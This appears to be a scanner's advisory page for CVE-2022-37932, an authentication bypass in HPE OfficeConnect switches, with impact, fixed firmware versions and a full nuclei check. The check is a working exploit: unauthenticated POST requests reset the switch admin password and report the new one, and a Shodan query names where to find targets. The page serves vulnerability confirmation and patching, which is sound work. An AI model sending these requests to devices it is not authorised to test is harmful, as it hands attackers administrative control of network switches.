HP Switch - Authentication Bypass

highseverity

8.8CVSS score

2.9%likelihood of exploitation, next 30 days

87%of all CVEs are less likely

Readycheck to confirm it

A potential security vulnerability has been identified in Hewlett Packard Enterprise OfficeConnect 1820, 1850, and 1920S Network switches. The vulnerability could be remotely exploited to allow authentication bypass. HPE has made the following software updates to resolve the vulnerability in Hewlett Packard Enterprise OfficeConnect 1820, 1850 and 1920S Network switches versions- Prior to PT.02.14; Prior to PC.01.22; Prior to PO.01.21; Prior to PD.02.22;

Impact

Attackers on the adjacent network can bypass authentication on HP OfficeConnect switches without credentials, potentially gaining administrative access to modify switch configurations, intercept network traffic, or disrupt network operations.

Fix

Update to HPE OfficeConnect switch firmware version PT.02.14 or later for 1820 series, PC.01.22 or later for 1850 series, or PO.01.21/PD.02.22 or later for 1920S series.

How to confirm it

Send: GET {{BaseURL}}/
Positive when: status_code == 200 and contains(body, '<title>HPE OfficeConnect Switch 1920')
Send: POST /login/default_password_cfg.lua
Positive when: status_code == 200 and contains(body, "redirect") and contains(content_type, "application/json")
Send: POST /htdocs/login/default_password_cfg.lua
Positive when: status_code == 200 and contains(body, "redirect") and contains(content_type, "application/json")

Run it with nuclei: nuclei -id CVE-2022-37932 -u <target>

The full check

id: CVE-2022-37932

info:
  name: HP Switch - Authentication Bypass
  author: Phulelouch
  severity: high
  description: |
    A potential security vulnerability has been identified in Hewlett Packard Enterprise OfficeConnect 1820, 1850, and 1920S Network switches. The vulnerability could be remotely exploited to allow authentication bypass. HPE has made the following software updates to resolve the vulnerability in Hewlett Packard Enterprise OfficeConnect 1820, 1850 and 1920S Network switches versions- Prior to PT.02.14; Prior to PC.01.22; Prior to PO.01.21; Prior to PD.02.22;
  impact: |
    Attackers on the adjacent network can bypass authentication on HP OfficeConnect switches without credentials, potentially gaining administrative access to modify switch configurations, intercept network traffic, or disrupt network operations.
  remediation: |
    Update to HPE OfficeConnect switch firmware version PT.02.14 or later for 1820 series, PC.01.22 or later for 1850 series, or PO.01.21/PD.02.22 or later for 1920S series.
  classification:
    cvss-metrics: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2022-37932
    epss-score: 0.02931
    epss-percentile: 0.87195
    cpe: cpe:2.3:o:hpe:officeconnect_1820_j9979a_firmware:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: hpe
    product: officeconnect_1820_j9979a_firmware
    shodan-query: html:"HPE OfficeConnect"
  tags: cve,cve2022,hp,officeconnect,auth-bypass,intrusive,vkev,vuln

variables:
  password: "{{rand_base(8)}}"

flow: http(1) && (http(2) || http(3))

http:
  - method: GET
    path:
      - "{{BaseURL}}/"

    redirects: true
    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "contains(body, '<title>HPE OfficeConnect Switch 1920')"
        condition: and
        internal: true

  - raw:
      - |
        POST /login/default_password_cfg.lua HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username=admin&oldPwd=&newPwd={{password}}&confirmPwd={{password}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "redirect")'
          - 'contains(content_type, "application/json")'
        condition: and

    extractors:
      - type: json
        name: redirect
        part: body
        json:
          - .redirect
        internal: true

      - type: dsl
        dsl:
          - '"Password:"+ password'
          - '"Login Path:"+ redirect'
  - raw:
      - |
        POST /htdocs/login/default_password_cfg.lua HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username=admin&oldPwd=&newPwd={{password}}&confirmPwd={{password}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "redirect")'
          - 'contains(content_type, "application/json")'
        condition: and

    extractors:
      - type: json
        name: redirect
        part: body
        json:
          - .redirect
        internal: true

      - type: dsl
        dsl:
          - '"Password:"+ password'
          - '"Login Path:"+ redirect'

Use this check only on systems you are authorised to test. Where the data comes from